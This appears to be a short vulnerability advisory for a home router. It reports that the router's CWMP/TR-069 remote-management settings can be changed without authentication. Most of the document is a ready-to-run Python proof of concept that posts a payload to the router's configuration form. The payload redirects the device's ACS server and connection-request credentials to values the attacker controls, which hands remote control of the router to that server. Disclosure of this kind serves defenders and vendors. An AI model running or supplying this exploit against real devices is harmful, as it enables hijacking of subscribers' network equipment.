Description
===========
CWMP configuration is accessible only through the Administrator account.
CWMP is a protocol widely used by ISPs worldwide for remote provisioning
and troubleshooting subscribers' equipment. However editing the CWMP
parameters (more specifically sending the POST request) does not require
any user authentication.

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following
URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL':
acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass,
'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort':
conn_port, 'CWMP_ConnectionRequestUserName': conn_user,
'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive':
active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1",
data=payload)
